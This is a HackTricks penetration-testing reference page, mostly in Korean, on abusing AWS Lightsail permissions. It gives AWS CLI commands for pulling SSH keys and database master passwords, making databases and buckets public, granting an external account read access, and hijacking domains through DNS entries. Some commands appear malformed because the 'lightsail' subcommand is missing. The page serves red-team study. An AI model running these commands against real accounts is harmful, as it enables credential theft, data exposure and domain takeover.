AWS - Lightsail Privesc

Reading time: 5 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Lightsail

Lightsail에 대한 자세한 정보는 다음을 확인하세요:

AWS - Lightsail Enum

warning

Lightsail은 사용자에게 속한 IAM 역할을 사용하지 않고 AWS 관리 계정에 속한 역할을 사용한다는 점을 유의해야 합니다. 따라서 이 서비스를 악용해 privesc를 수행할 수는 없습니다. 그러나 민감한 데이터(예: code, API keys 및 database info)는 이 서비스에서 발견될 수 있습니다.

lightsail:DownloadDefaultKeyPair

이 권한은 인스턴스에 접근하기 위한 SSH keys를 얻을 수 있게 해줍니다:

aws lightsail download-default-key-pair

Potential Impact: 인스턴스 내부에서 민감한 정보를 찾을 수 있음.

lightsail:GetInstanceAccessDetails

이 권한은 인스턴스에 액세스하기 위해 SSH 키를 생성할 수 있게 해줍니다:

bash
aws lightsail get-instance-access-details --instance-name <instance_name>

잠재적 영향: instances 내부에서 민감한 정보를 찾을 수 있습니다.

lightsail:CreateBucketAccessKey

이 권한을 사용하면 bucket에 접근하기 위한 키를 얻을 수 있습니다:

bash
aws lightsail create-bucket-access-key --bucket-name <name>

Potential Impact: 버킷 내부에서 민감한 정보를 찾을 수 있습니다.

lightsail:GetRelationalDatabaseMasterUserPassword

이 권한을 통해 데이터베이스에 접근하기 위한 자격 증명을 얻을 수 있습니다:

bash
aws lightsail get-relational-database-master-user-password --relational-database-name <name>

Potential Impact: 데이터베이스 내에서 민감한 정보를 찾을 수 있습니다.

lightsail:UpdateRelationalDatabase

이 권한은 데이터베이스에 접근하기 위한 비밀번호를 변경할 수 있게 해줍니다:

bash
aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>

데이터베이스가 공개되어 있지 않다면, 다음 권한으로 공개할 수도 있습니다.

bash
aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible

잠재적 영향: 데이터베이스 내부에서 민감한 정보를 찾을 수 있음.

lightsail:OpenInstancePublicPorts

이 권한은 포트를 인터넷에 공개할 수 있도록 허용합니다.

bash
aws lightsail open-instance-public-ports \
--instance-name MEAN-2 \
--port-info fromPort=22,protocol=TCP,toPort=22

잠재적 영향: 민감한 포트에 접근할 수 있음.

lightsail:PutInstancePublicPorts

이 권한은 포트를 인터넷에 개방할 수 있게 합니다. 이 호출은 요청에 명시되지 않은 모든 열린 포트를 닫습니다.

bash
aws lightsail put-instance-public-ports \
--instance-name MEAN-2 \
--port-infos fromPort=22,protocol=TCP,toPort=22

잠재적 영향: 민감한 포트에 접근할 수 있습니다.

lightsail:SetResourceAccessForBucket

이 권한은 추가적인 credentials 없이 instances가 bucket에 접근할 수 있도록 허용합니다.

bash
aws set-resource-access-for-bucket \
--resource-name <instance-name> \
--bucket-name <bucket-name> \
--access allow

Potential Impact: 민감한 정보를 포함한 buckets에 대한 잠재적 신규 접근.

lightsail:UpdateBucket

이 권한을 통해 공격자는 자신의 AWS 계정에 buckets에 대한 읽기 액세스를 부여하거나 심지어 buckets를 모두에게 공개할 수 있습니다:

bash
# Grant read access to exterenal account
aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>

# Grant read to the public
aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPublicOverrides=true

# Bucket private but single objects can be public
aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true

잠재적 영향: 민감한 정보가 담긴 버킷에 대한 새로운 접근 가능성.

lightsail:UpdateContainerService

이 권한을 통해 공격자는 containers service에서 private ECRs에 대한 접근 권한을 부여할 수 있습니다.

bash
aws update-container-service \
--service-name <name> \
--private-registry-access ecrImagePullerRole={isActive=boolean}

잠재적 영향: private ECR에서 민감한 정보를 얻을 수 있음

lightsail:CreateDomainEntry

이 권한을 가진 공격자는 서브도메인을 생성하여 자신의 IP 주소로 포인팅(subdomain takeover)하거나, 도메인에서 이메일을 spoof할 수 있도록 하는 SPF 레코드를 조작하거나, 심지어 메인 도메인을 자신의 IP 주소로 설정할 수도 있습니다.

bash
aws lightsail create-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0

Potential Impact: Takeover a domain

lightsail:UpdateDomainEntry

이 권한을 가진 attacker는 subdomain을 생성해 이를 자신의 IP address로 지정하여 (subdomain takeover) 소유권을 빼앗거나, SPF 레코드를 조작해 domain에서 spoof emails를 보낼 수 있게 하거나, 심지어 메인 domain을 자신의 IP address로 설정할 수 있습니다.

bash
aws lightsail update-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0

잠재적 영향: 도메인 탈취

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기